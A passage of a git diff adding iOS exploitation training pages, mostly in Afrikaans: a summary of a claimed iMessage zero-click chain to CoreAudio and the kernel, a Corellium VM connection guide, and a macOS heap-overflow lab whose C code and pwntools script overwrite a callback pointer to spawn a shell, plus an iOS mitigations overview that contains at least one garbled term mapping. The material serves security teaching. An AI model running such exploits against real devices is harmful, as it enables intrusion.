+- [14] [Predator spyware: ontleding van die omseiling van iOS-opname-indicators - Jamf Threat Labs](https://www.jamf.com/blog/predator-spyware-ios-recording-indicator-bypass-analysis/)
+- [15] [Apple XNU-bronkode - zalloc.c](https://github.com/apple-oss-distributions/xnu/blob/main/osfmk/kern/zalloc.c)
+- [16] [Apple XNU-bronkode - exception.c](https://github.com/apple-oss-distributions/xnu/blob/main/osfmk/kern/exception.c)
+- [17] [The iPhone Wiki - Kernel-weergawes (geargiveer)](https://web.archive.org/web/20260713091137/https://www.theiphonewiki.com/wiki/Kernel)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md
new file mode 100644
index 00000000000..fd775873aec
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md
@@ -0,0 +1,112 @@
+# iMessage Media Parser Zero-Click → CoreAudio RCE → PAC/RPAC → Kernel → CryptoTokenKit Abuse
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy som Apple se bevestigde impak vir CVE-2025-31200 en CVE-2025-31201 op, gevolg deur ’n end-tot-end exploitation chain **wat deur die aangehaalde JGoyd research repository beweer word**. Apple bevestig CoreAudio code execution vanaf malicious media en ’n RPAC pointer-authentication bypass vir ’n aanvaller wat reeds arbitrary read/write het; dit dokumenteer nie die repository se beweerde iMessage-, Wi-Fi-, kernel- of CryptoTokenKit-stappe nie.[[1]](#references)[[2]](#references)[[3]](#references)
+
+> Waarskuwing: Dit is ’n educational summary om defenders, researchers en red teams te help om die techniques te verstaan. Moenie dit offensief gebruik nie.
+
+## High-Level Chain wat deur die Research Repository Gerapporteer Word
+
+- Delivery vector: ’n malicious audio attachment (bv. .amr / MP4 AAC) wat via iMessage/SMS gestuur word.[[1]](#references)[[2]](#references)
+- Auto-ingestion: iOS parse media outomaties vir previews en conversions sonder user interaction.
+- Parser bug: malformed structures bereik CoreAudio se AudioConverterService en korrupteer heap memory.
+- Code exec in media context: RCE binne die media parsing process; daar word gerapporteer dat dit BlastDoor isolation in spesifieke paths omseil (bv. die “known sender”-framing path).
+- PAC/RPAC bypass: sodra arbitrary R/W bereik is, maak ’n PAC bypass in die RPAC path stabiele control flow onder arm64e PAC moontlik.
+- Kernel escalation: die chain skakel userland exec om na kernel exec (bv. via wireless/AppleBCMWLAN code paths en AMPDU handling soos in die logs hieronder gesien word).
+- Post-exploitation: die repository beweer dat ’n BCM4387 hardware pivot Bluetooth-identity spoofing moontlik maak, Auto-Unlock evaluation trigger en CryptoTokenKit/SEP-backed ECDSA signing invokeer sonder ’n interactive prompt of om die key material uit te voer.[[1]](#references)[[2]](#references)
+
+## iMessage/BlastDoor-aanvalsoppervlaknotas
+
+BlastDoor is ’n hardened service wat ontwerp is om untrusted message content te parse. Waargenome logs dui egter op paths waar protections moontlik omseil kan word wanneer messages vanaf ’n “known sender” geframe word en wanneer additional filters (bv. Blackhole) verslap word:[[1]](#references)
+```text
+IDSDaemon BlastDoor: Disabled for framing messages
+SpamFilter Blackhole disabled; user has disabled filtering unknown senders.
+```
+Belangrike punte:
+- Auto-parsing verteenwoordig steeds 'n afgeleë, zero-click attack surface.
+- Beleids-/konteksbesluite (bekende sender, filtering state) kan die effektiewe isolasie wesenlik verander.
+
+## CoreAudio: AudioConverterService heap corruption (userland RCE)
+
+Geaffekteerde komponent:
+- CoreAudio → AudioConverterService → AAC/AMR/MP4 parsing and conversion flows
+
+Waargenome parser-aanknopingspunt (logs):
+```text
+AudioConverterService ACMP4AACBaseDecoder.cpp: inMagicCookie=0x0, inMagicCookieByteSize=39
+```
+Technique summary:
+- Misvormde container/codec-metadata (bv. ongeldige/kort/NULL magic cookie) veroorsaak geheuekorrupsie tydens decode-opstelling.
+- Word in die iMessage-media-omskakelingspad geaktiveer sonder dat die gebruiker iets hoef te tik.
+- Lewer code execution in die mediaparseerproses. Die write-up beweer dat dit BlastDoor in die waargenome afleweringspad ontsnap, wat die volgende stadium moontlik maak.[[1]](#references)[[2]](#references)
+
+Praktiese wenke:
+- Fuzz AAC/AMR magic cookie en MP4-codec-atome wanneer AudioConverterService-omskakelings geteiken word.
+- Fokus op heap overflows/underflows, OOB reads/writes, en size/length-verwarring rondom decoder-initialisering.
+
+## PAC bypass via RPAC path (CVE-2025-31201)
+
+arm64e Pointer Authentication (PAC) belemmer die kaap van return addresses en function pointers. Apple bevestig dat CVE-2025-31201 ’n aanvaller met arbitrary read/write in staat kan stel om Pointer Authentication te omseil; die research repository beskryf hoe dit volgens die navorsing in hierdie chain pas.[[2]](#references)[[3]](#references)
+
+Key idea:
+- Met arbitrary R/W kan aanvallers geldige, herondertekende pointers skep of execution na PAC-tolerante paths verskuif. Die sogenaamde “RPAC path” maak control-flow onder PAC-beperkings moontlik, wat ’n userland RCE in ’n betroubare kernel exploit-opstelling omskep.[[1]](#references)[[2]](#references)
+
+Notas vir researchers:
+- Versamel info leaks om KASLR te omseil en ROP/JOP chains te stabiliseer, selfs onder PAC.
+- Teiken callsites wat PAC op beheerbare maniere genereer of authenticeer (bv. signatures wat op attacker-controlled values gegenereer word, voorspelbare context keys, of gadget sequences wat pointers heronderteken).
+- Verwag variasie in Apple se hardening volgens SoC/OS; betroubaarheid berus op leaks, entropy en robuuste primitives.
+
+## Kernel escalation: wireless/AMPDU path example
+
+In die waargenome chain is kernel control bereik via code paths in die Wi‑Fi-stack (AppleBCMWLAN) onder misvormde AMPDU-handling, nadat userland met geheuekorrupsie en ’n PAC bypass primitive bereik is. Voorbeeldlogs:[[2]](#references)
+```text
+IO80211ControllerMonitor::setAMPDUstat unhandled kAMPDUStat_ type 14
+IO80211ControllerMonitor::setAMPDUstat unhandled kAMPDUStat_ type 13
+```
+Algemene tegniek:
+- Gebruik userland-primitives om kernel R/W of beheerde call paths te bou.
+- Misbruik bereikbare kernel-oppervlakke (IOKit, networking/AMPDU, media shared memory, Mach-interfaces) om beheer oor die kernel-PC of arbitrary memory te verkry.
+- Stabiliseer deur read/write-primitives te bou en PPL/SPTM-beperkings te omseil waar van toepassing.
+
+## Post-exploitation: CryptoTokenKit en identiteits-/signingmisbruik
+
+Sodra kernel gekompromitteer is, kan prosesse soos identityservicesd nageboots word en bevoorregte kriptografiese bewerkings via CryptoTokenKit sonder gebruikersprompts uitgevoer word. Voorbeeldlogs:[[1]](#references)[[2]](#references)
+```text
+CryptoTokenKit operation:2 algo:algid:sign:ECDSA:digest-X962:SHA256
+CryptoTokenKit parsed for identityservicesd
+```
+Impak:
+- Gebruik Secure Enclave–gesteunde sleutels vir ongemagtigde signing vanuit ’n compromised context sonder om die sleutelmateriaal uit te voer, wat trust models verbreek wat aanvaar dat slegs ’n intacte gemagtigde caller signatures kan aanvra.[[1]](#references)[[2]](#references)
+- Die repository rapporteer device/token-impersonation, AGX-framebuffer capture, HID-surveillance en system instability as waargenome of moontlike post-compromise effects; Apple bevestig nie hierdie chain-specific claims nie.[[1]](#references)[[3]](#references)
+
+Defensive angle:
+- Behandel post-kernel integrity breaks as catastrophic: afdwing runtime attestation vir CTK-consumers; minimaliseer ambient authority; verifieer entitlements by die punt van gebruik.
+
+## Reproduction and telemetry hints (lab only)
+
+- Delivery: stuur ’n crafted AMR/MP4-AAC-audio na die target device via iMessage/SMS.
+- Monitor telemetry vir die voorafgaande log lines rondom parsing en wireless-stack reactions.
+- Verseker dat devices volledig patched is; toets slegs in geïsoleerde lab setups.
+
+## Mitigations and hardening ideas
+
+- Patch level: Apple het CVE-2025-31200 en CVE-2025-31201 in iOS/iPadOS 18.4.1 gefix; hou devices op datum.[[3]](#references)
+- Parser hardening: strict validation vir codec cookies/atoms en lengths; defensive decoding paths met bounds checks.
+- iMessage isolation: vermy die verslapping van BlastDoor/Blackhole in “known sender”-contexts vir media parsing.
+- PAC hardening: verminder PAC-gadget availability; verseker dat signatures aan unpredictable contexts gebind is; verwyder PAC-tolerant bypassable patterns.
+- CryptoTokenKit: vereis post-kernel attestation en strong entitlements by call-time vir key-bound operations.
+- Kernel surfaces: harden wireless AMPDU/status handling; minimaliseer attacker-controlled inputs vanuit userland ná compromise.
+
+## Affected versions (as reported)
+
+- Apple lys die affected devices en die fixes in iOS/iPadOS 18.4.1, wat op 16 April 2025 vrygestel is. Die breër version range en volledige chain hieronder word deur die research repository gerapporteer.[[1]](#references)[[2]](#references)[[3]](#references)
+- Primary: CoreAudio → AudioConverterService (media auto-parsing path via iMessage/SMS).
+- Chained: PAC/RPAC path en kernel escalation via AppleBCMWLAN AMPDU handling.
+
+## References
+
+- [1] [JGoyd - iOS Zero-Click iMessage RCE Chain (CVE-2025-31200 & CVE-2025-31201) - README](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201)
+- [2] [JGoyd - iMessage Attack Chain Flow (technical write-up)](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201/blob/main/Attack%20Chain%20Flow.md)
+- [3] [Apple - Oor die security-inhoud van iOS 18.4.1 en iPadOS 18.4.1](https://support.apple.com/en-euro/122282)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md
new file mode 100644
index 00000000000..f1bfb3587a4
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md
@@ -0,0 +1,85 @@
+# iOS Hoe om aan Corellium te koppel
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Voorvereistes
+- 'n Corellium iOS VM (jailbroken of nie). In hierdie gids aanvaar ons dat jy toegang tot Corellium het.
+- Plaaslike tools: **ssh/scp**.
+- (Opsioneel) **SSH keys** wat by jou Corellium-projek gevoeg is vir aanmeldings sonder wagwoord.
+
+
+## Koppel vanaf localhost aan die iPhone VM
+
+### A) Quick Connect (geen VPN)
+0) Maak **Admin → Projects** in die webkoppelvlak oop en voeg jou SSH public key by die projek se **Authorized Keys**-afdeling (vereis vir public-cloud Quick Connect).[[1]](#references)
+1) Maak die toestelbladsy oop → **Connect**
+2) **Copy the Quick Connect SSH command** wat deur Corellium vertoon word en plak dit in jou terminal. Die gegenereerde command gebruik Corellium se proxy as 'n SSH jump host.[[1]](#references)
+3) Authenticate by die toestel met die ooreenstemmende private key. As die teikentoestel nie 'n authorized key bevat nie, kan Corellium se SSH flow eerder vir die toestel se wagwoord vra.[[1]](#references)
+
+### B) VPN → direkte SSH
+0) Voeg jou SSH key by die projek (aanbeveel).
+1) Kies **CONNECT** → **VPN** vanaf die toestelbladsy, laai die `.ovpn`-profiel af en gebruik 'n OpenVPN-client wat TAP mode ondersteun.[[2]](#references)
+2) SSH na die VM se **10.11.x.x**-adres:
+```bash
+ssh root@10.11.1.1
+```
+## Laai 'n native binary op en voer dit uit
+
+### 2.1 **Upload**
+- As Quick Connect vir jou 'n jump-host-opdrag gegee het, hergebruik die waarde van `-J`:
+```bash
+scp -J ./mytool root@10.11.1.1:/var/root/mytool
+```
+- As jy die VPN gebruik, het direkte `scp` normaalweg geen jump host nodig nie:
+```bash
+scp ./mytool root@10.11.1.1:/var/root/mytool
+```
+## Laai 'n iOS-app (`.ipa`) op en installeer dit
+
+### Roete A — **Web UI (vinnigste)**
+1) Toestelblad → **Apps**-oortjie → **Install App** → kies jou `.ipa`.
+2) Vanuit dieselfde oortjie kan jy die app launch, kill of uninstall. Corellium kan behoorlik ondertekende IPAs op jailbroken en nie-jailbroken virtuele toestelle installeer.[[3]](#references)
+
+### Roete B — Geskript via Corellium Agent
+Die volgende is illustratiewe pseudocode vir 'n Agent/SDK-weergawe wat `upload` en `install` blootstel; verifieer die method names teen die SDK-weergawe wat in die deployment beskikbaar is voordat jy daarop staatmaak:
+```js
+// Node.js (pseudo) using Corellium Agent
+await agent.upload("./app.ipa", "/var/tmp/app.ipa");
+await agent.install("/var/tmp/app.ipa", (progress, status) => {
+console.log(progress, status);
+});
+```
+### Path C — **Nie-gejailbreakte (proper signing / Sideloadly)**
+- If you don’t have a provisioning profile, use **Sideloadly** to re-sign with your Apple ID, or sign in Xcode.
+- You can also expose the VM to Xcode using **USBFlux** (see §5).
+
+
+- For quick logs and commands without SSH, use the device **Console** in the UI.[[4]](#references)
+
+## **Ekstras**
+
+- **Port-forwarding** (make the VM feel local for other tools):
+```bash
+# Forward local 2222 -> device 22
+ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
+# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
+```
+- **LLDB remote debugging**: gebruik die **LLDB/GDB stub**-adres wat onderaan die device-bladsy (**CONNECT** → **LLDB**) gewys word.[[5]](#references)
+
+- **USBFlux (macOS/Linux)**: stel die VM oor die standaard USB/usbmux-protokol beskikbaar sodat versoenbare tools dit soos ’n device wat met ’n kabel gekoppel is, sien. Corellium dokumenteer workflows vir beide **Xcode** en **Sideloadly**; laasgenoemde kan ’n ongeënkripteerde IPA op ’n nie-jailbroken VM heronderteken en installeer.[[5]](#references) [[6]](#references)
+
+
+## **Algemene slaggate**
+- **Behoorlike signing** word op **nie-jailbroken** devices vereis; ongetekende IPAs sal nie begin nie.
+- **Quick Connect vs VPN**: Quick Connect is die eenvoudigste; gebruik **VPN** wanneer jy die device op jou plaaslike netwerk benodig (bv. plaaslike proxies/tools).
+- **Geen App Store** op Corellium-devices nie; voorsien jou eie (her)getekende IPAs.
+
+## References
+
+- [1] [Corellium - Quick Connect](https://support.corellium.com/features/connect/quick-connect)
+- [2] [Corellium - VPN](https://support.corellium.com/features/connect/vpn)
+- [3] [Corellium - Apps](https://support.corellium.com/features/apps/)
+- [4] [Corellium - Console](https://support.corellium.com/features/console/)
+- [5] [Corellium - Connect options](https://support.corellium.com/features/connect/)
+- [6] [Corellium - Install apps on non-jailbroken devices with Sideloadly](https://support.corellium.com/features/apps/sideloadly)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
new file mode 100644
index 00000000000..a147070403a
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
@@ -0,0 +1,250 @@
+# iOS/macOS Voorbeeld van ’n Heap Overflow Exploit
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy is ’n **klein Apple-platform heap-overflow-lab**: ’n heap buffer overflow korrupteer ’n callback pointer in die volgende chunk en gebruik daardie primitive om code execution te verkry. Dit is doelbewus eenvoudig, maar dit is steeds nuttig om **heap grooming te oefen, overwrite-afstande te meet en oor allocator-spesifieke layout-beperkings te redeneer** voordat jy na werklike Apple-teikens beweeg.
+
+> [!INFO]
+> Behandel dit as ’n **macOS/libmalloc training lab**, nie as ’n bewering dat huidige iPhones steeds met ’n raw `win()` pointer overwrite geëksploiteer kan word nie. Sien die generiese [iOS exploiting notes](README.md) vir die breër Apple heap / PAC / modern allocator-agtergrond.
+
+{{#ref}}
+README.md
+{{#endref}}
+
+## Kwesbare Kode
+```c
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+
+__attribute__((noinline))
+static void safe_cb(void) {
+puts("[*] safe_cb() called — nothing interesting here.");
+}
+
+__attribute__((noinline))
+static void win(void) {
+puts("[+] win() reached — spawning shell...");
+fflush(stdout);
+system("/bin/sh");
+exit(0);
+}
+
+typedef void (*cb_t)(void);
+
+typedef struct {
+cb_t cb; // <--- Your target: overwrite this with win()
+char tag[16]; // Cosmetic (helps make the chunk non-tiny)
+} hook_t;
+
+static void fatal(const char *msg) {
+perror(msg);
+exit(1);
+}
+
+int main(void) {
+// Make I/O deterministic
+setvbuf(stdout, NULL, _IONBF, 0);
+
+// Print address leak so exploit doesn't guess ASLR
+printf("[*] LEAK win() @ %p\n", (void*)&win);
+
+// 1) Allocate the overflow buffer
+size_t buf_sz = 128;
+char *buf = (char*)malloc(buf_sz);
+if (!buf) fatal("malloc buf");
+memset(buf, 'A', buf_sz);
+
+// 2) Allocate the hook object (likely adjacent in same magazine/size class)
+hook_t *h = (hook_t*)malloc(sizeof(hook_t));
+if (!h) fatal("malloc hook");
+h->cb = safe_cb;
+memcpy(h->tag, "HOOK-OBJ", 8);
+
+// A tiny bit of noise to look realistic (and to consume small leftover holes)
+void *spacers[16];
+for (int i = 0; i < 16; i++) {
+spacers[i] = malloc(64);
+if (spacers[i]) memset(spacers[i], 0xCC, 64);
+}
+
+puts("[*] You control a write into the 128B buffer (no bounds check).");
+puts("[*] Enter payload length (decimal), then the raw payload bytes.");
+
+// 3) Read attacker-chosen length and then read that many bytes → overflow
+char line[64];
+if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
+unsigned long n = strtoul(line, NULL, 10);
+
+// BUG: no clamp to 128
+ssize_t got = read(STDIN_FILENO, buf, n);
+if (got < 0) fatal("read");
+printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
+
+// 4) Trigger: call the hook's callback
+puts("[*] Calling h->cb() ...");
+h->cb();
+
+puts("[*] Done.");
+return 0;
+}
+```
+Kompileer dit met:
+```bash
+clang -O0 -g -Wall -Wextra -std=c11 -o heap_groom vuln.c
+```
+## Waarom hierdie voorbeeld steeds relevant is op moderne Apple-targets
+
+- Die kernvaardigheid is steeds geldig: **verander ’n controllable overflow in ’n geteikende overwrite van ’n aangrensende objek**.
+- Die belangrike Apple-spesifieke les is dat **allocator-keuse saak maak**. As die chunk wat oorloop en die target callback in verskillende libmalloc-zones beland, bereik jou overwrite nooit die target nie.
+- `MallocNanoZone=0` word hier slegs gebruik om die lab op **macOS userland** reproduseerbaar te maak. Dit skuif klein allocations weg van die Nano allocator, sodat adjacency binne dieselfde proses makliker bestudeer kan word.
+- Op **moderne iOS / arm64e**-targets moet jy ook **xzone malloc type isolation** en **PAC-protected control-flow pointers** verwag. In werklike exploits is die gewone volgende stap nie om “’n unsigned function address te skryf” nie, maar eerder om **reeds-gesignde pointers te hergebruik, ’n unsigned pointer een hop vroeër te korrupteer, of na callback-oriented / data-only primitives te pivot**.[[1]](#references) [[2]](#references)
+
+## Berekening van die korrekte overwrite distance
+
+Die exploit hieronder brute-forces verskeie kandidaat-paddings, maar in ’n lab kan jy dikwels die presiese afstand een keer meet en daarna die exploit deterministies hou.
+
+Eenvoudige tydelike instrumentation is voldoende:
+```c
+printf("[*] buf=%p &h->cb=%p delta=%lld\n",
+buf,
+&h->cb,
+(long long)((char *)&h->cb - buf));
+```
+As die gedrukte delta `560` is, is die ekstra padding wat jy ná die eerste `128` deur die aanvaller beheerde grepe benodig:
+```text
+extra_pad = 560 - 128 = 432
+```
+Dit is ook 'n goeie plek om te verifieer wanneer 'n compiler change, ekstra logging, 'n ander optimization level of 'n nuwe macOS-vrystelling die heap-uitleg genoeg verander het om 'n voorheen stabiele exploit te laat faal.
+
+## Exploit
+
+> [!WARNING]
+> Hierdie exploit stel `MallocNanoZone=0` om die NanoZone te disable. Dit is nodig om aangrensende allocations te kry wanneer `malloc` met klein groottes geroep word. Daarsonder kan die allocations in verskillende zones beland en sal hulle nie aangrensend wees nie, sodat die overflow nie `h->cb` sal bereik nie.
+```python
+#!/usr/bin/env python3
+# Heap overflow exploit for macOS ARM64 CTF challenge
+#
+# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
+# a function pointer in an adjacent heap chunk.
+#
+# Key insights:
+# 1. macOS uses different heap zones for different allocation sizes
+# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
+# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
+#
+from pwn import *
+import re
+import sys
+import struct
+import platform
+
+# Detect architecture and set context accordingly
+if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
+context.clear(arch='aarch64')
+else:
+context.clear(arch='amd64')
+
+BIN = './heap_groom'
+
+def parse_leak(line):
+m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
+if not m:
+log.failure("Couldn't parse leak")
+sys.exit(1)
+return int(m.group(1), 16)
+
+def build_payload(win_addr, extra_pad=0):
+# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
+padding = b'A' * 128
+if extra_pad:
+padding += b'B' * extra_pad
+# Add the win address to overwrite the function pointer
+payload = padding + p64(win_addr)
+return payload
+
+def main():
+# On macOS, we need to disable the Nano zone for adjacent allocations
+import os
+env = os.environ.copy()
+env['MallocNanoZone'] = '0'
+
+# The correct padding with MallocNanoZone=0 is 432 bytes
+# This makes the total distance 560 bytes (128 buffer + 432 padding)
+# Try the known working value first, then alternatives in case of heap variation
+candidates = [
+432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
+424, # Try slightly less in case of alignment differences
+440, # Try slightly more
+416, # 16 bytes less
+448, # 16 bytes more
+0, # Direct adjacency (unlikely but worth trying)
+]
+
+log.info("Starting heap overflow exploit for macOS...")
+
+for extra in candidates:
+log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
+p = process(BIN, env=env)
+
+# Read leak line
+leak_line = p.recvline()
+win_addr = parse_leak(leak_line)
+log.success(f"win() @ {hex(win_addr)}")
+
+# Skip prompt lines
+p.recvuntil(b"Enter payload length")
+p.recvline()
+
+# Build and send payload
+payload = build_payload(win_addr, extra_pad=extra)
+total_len = len(payload)
+
+log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
+
+# Send length and payload
+p.sendline(str(total_len).encode())
+p.send(payload)
+
+# Check if we overwrote the function pointer successfully
+try:
+output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
+p.recvline(timeout=0.5) # Skip the "..." part
+
+# Check if we hit win()
+response = p.recvline(timeout=0.5)
+if b"win() reached" in response:
+log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
+log.success("Shell spawned, entering interactive mode...")
+p.interactive()
+return
+elif b"safe_cb() called" in response:
+log.info(f"Failed with extra_pad={extra}, safe_cb was called")
+else:
+log.info(f"Failed with extra_pad={extra}, unexpected response")
+except:
+log.info(f"Failed with extra_pad={extra}, likely crashed")
+
+p.close()
+
+log.failure("All padding attempts failed. The heap layout might be different.")
+log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
+
+if __name__ == '__main__':
+main()
+```
+## Aanpassing van die primitive vir werklike Apple-exploitation
+
+- **Teikenseleksie:** die oor-skryf van ’n gewone C callback pointer is uitstekend vir ’n lab. In werklike Apple-teikens sal jy meer dikwels **vtables, ObjC/CF callback tables, XPC handlers, of unsigned pointers wat na signed callback structures lei** teëkom.[[2]](#references)
+- **PAC-aware hijack-strategie:** op arm64e veroorsaak die direkte vervanging van ’n beskermde callback met ’n unsigned raw address dikwels ’n crash. Moderne exploit chains **ruil eerder geldige PAC-signed pointers met compatible signatures uit** of korrupteer ’n **unsigned outer pointer** wat later reeds-signed callbacks bereik.[[2]](#references)
+- **Allocator-aware grooming:** ná iOS 17 berus userland exploitation toenemend op ’n begrip van **xzone malloc bucket/type isolation** en nie slegs van size classes nie. Allokasies van dieselfde grootte is nie meer voldoende as hulle in verskillende buckets geklassifiseer word nie.[[1]](#references)
+- **Tooling:** as jy wil verstaan waarom twee allokasies op macOS langs mekaar is of nie, bestee ’n paar minute aan libmalloc-spesifieke tooling (byvoorbeeld Blackwing se `heapster`) voordat jy die exploit self begin debug.[[3]](#references)
+
+## References
+
+- [1] [Apple Security Research - Geheue-integriteitsafdwinging: ’n Volledige visie vir geheueveiligheid in Apple-toestelle](https://security.apple.com/blog/memory-integrity-enforcement/)
+- [2] [Project Zero - Verby WebP geblaas](https://projectzero.google/2025/03/blasting-past-webp.html)
+- [3] [BlackwingHQ - heapster: Speel met libmalloc](https://github.com/BlackwingHQ/heapster)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
new file mode 100644
index 00000000000..f36daec6745
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
@@ -0,0 +1,234 @@
+# iOS Physical Use After Free via IOSurface
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## iOS Exploit Mitigations [[4]](#references)
+
+- **Code Signing** in iOS werk deur te vereis dat elke stuk uitvoerbare kode (apps, libraries, extensions, ens.) kriptografies onderteken word met ’n sertifikaat wat deur Apple uitgereik is. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude wortel. Indien die handtekening ongeldig, ontbrekend of gewysig is, weier die OS om dit uit te voer. Dit voorkom dat attackers malicious code in legitieme apps injecteer of unsigned binaries uitvoer, en stop effektief die meeste exploit chains wat op die uitvoering van arbitrary of gewysigde kode staatmaak.
+- **CoreTrust** is die iOS-substelsel wat verantwoordelik is vir die afdwinging van code signing tydens runtime. Dit verifieer handtekeninge direk met Apple se root certificate sonder om op cached trust stores staat te maak, wat beteken dat slegs binaries wat deur Apple onderteken is (of met geldige entitlements) kan uitvoer. CoreTrust verseker dat die stelsel execution sal blokkeer selfs indien ’n attacker ’n app ná installasie manipuleer, system libraries wysig of unsigned code probeer laai, tensy die code steeds korrek onderteken is. Hierdie streng afdwinging sluit baie post-exploitation vectors wat ouer iOS-weergawes deur swakker of omseilbare signature checks toegelaat het.
+- **Data Execution Prevention (DEP)** merk memory regions as non-executable, tensy hulle uitdruklik code bevat. Dit keer dat attackers shellcode in data regions (soos die stack of heap) injecteer en dit uitvoer, en dwing hulle om op meer komplekse techniques soos ROP (Return-Oriented Programming) staat te maak.
+- **ASLR (Address Space Layout Randomization)** randomize die memory addresses van code, libraries, stack en heap elke keer wanneer die stelsel loop. Dit maak dit baie moeiliker vir attackers om te voorspel waar bruikbare instructions of gadgets is, en breek baie exploit chains wat van fixed memory layouts afhanklik is.
+- **KASLR (Kernel ASLR)** pas dieselfde randomization-concept op die iOS-kernel toe. Deur die kernel se base address met elke boot te verskuif, voorkom dit dat attackers kernel functions of structures betroubaar lokaliseer, en verhoog dit die moeilikheidsgraad van kernel-level exploits wat andersins volledige system control sou verkry.
+- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor voortdurend die kernel se code pages om te verseker dat hulle nie gewysig is nie. Indien enige tampering opgespoor word—soos wanneer ’n exploit kernel functions probeer patch of malicious code probeer invoeg—sal die device onmiddellik panic en reboot. Hierdie protection maak persistente kernel exploits baie moeiliker, aangesien attackers nie kernel instructions eenvoudig kan hook of patch sonder om ’n system crash te veroorsaak nie.
+- **Kernel Text Readonly Region (KTRR)** is ’n hardware-based security feature wat op iOS devices bekendgestel is. Dit gebruik die CPU se memory controller om die kernel se code (text)-section ná boot permanent as read-only te merk. Sodra dit gelock is, kan selfs die kernel self nie hierdie memory region wysig nie. Dit voorkom dat attackers—and selfs privileged code—kernel instructions tydens runtime patch, en sluit ’n belangrike klas exploits af wat op die direkte wysiging van kernel code staatgemaak het.
+- **Pointer Authentication Codes (PAC)** gebruik cryptographic signatures wat in ongebruikte bits van pointers ingebed is om hul integriteit voor gebruik te verifieer. Wanneer ’n pointer (soos ’n return address of function pointer) geskep word, teken die CPU dit met ’n secret key; voordat dit dereferenced word, kontroleer die CPU die signature. Indien daar met die pointer gepeuter is, misluk die check en stop execution. Dit voorkom dat attackers forged of corrupted pointers in memory corruption exploits skep of hergebruik, en maak techniques soos ROP of JOP baie moeiliker om betroubaar uit te voer.
+- **Privilege Access never (PAN)** is ’n hardware feature wat voorkom dat die kernel (privileged mode) direk toegang tot user-space memory verkry, tensy dit toegang uitdruklik enable. Dit keer dat attackers wat kernel code execution verkry het, maklik user memory lees of skryf om exploits te eskaleer of sensitiewe data te steel. Deur streng separation af te dwing, verminder PAN die impak van kernel exploits en blokkeer dit baie algemene privilege-escalation techniques.
+- **Page Protection Layer (PPL)** is ’n iOS security mechanism wat critical kernel-managed memory regions beskerm, veral dié wat met code signing en entitlements verband hou. Dit dwing streng write protections af deur die MMU (Memory Management Unit) en addisionele checks te gebruik, en verseker dat selfs privileged kernel code nie sensitiewe pages arbitrêr kan wysig nie. Dit voorkom dat attackers wat kernel-level execution verkry, met security-critical structures peuter, en maak persistence en code-signing bypasses aansienlik moeiliker.
+
+## Physical use-after-free
+
+Hierdie afdeling som Alfie C.G. se kernel-exploitation writeup op. Addisionele implementations en notes is beskikbaar in die `kfd` repository.[[1]](#references) [[2]](#references)
+
+### Memory management in XNU
+
+Die **virtual memory address space** vir user processes op iOS strek van **0x0 tot 0x8000000000**. Hierdie addresses map egter nie direk na physical memory nie. In plaas daarvan gebruik die **kernel** **page tables** om virtual addresses na werklike **physical addresses** te translate.
+
+#### Levels of Page Tables in iOS
+
+Page tables is hiërargies in drie levels georganiseer:
+
+1. **L1 Page Table (Level 1)**:
+* Elke entry hier verteenwoordig ’n groot reeks virtual memory.
+* Dit dek **0x1000000000 bytes** (of **256 GB**) virtual memory.
+2. **L2 Page Table (Level 2)**:
+* ’n Entry hier verteenwoordig ’n kleiner region virtual memory, spesifiek **0x2000000 bytes** (32 MB).
+* ’n L1 entry kan na ’n L2 table wys indien dit nie die hele region self kan map nie.
+3. **L3 Page Table (Level 3)**:
+* Dit is die fynste level, waar elke entry ’n enkele **4 KB** memory page map.
+* ’n L2 entry kan na ’n L3 table wys indien meer granular control nodig is.
+
+#### Mapping Virtual to Physical Memory
+
+* **Direct Mapping (Block Mapping)**:
+* Sommige entries in ’n page table **map ’n reeks virtual addresses** direk na ’n aaneenlopende reeks physical addresses (soos ’n shortcut).
+* **Pointer to Child Page Table**:
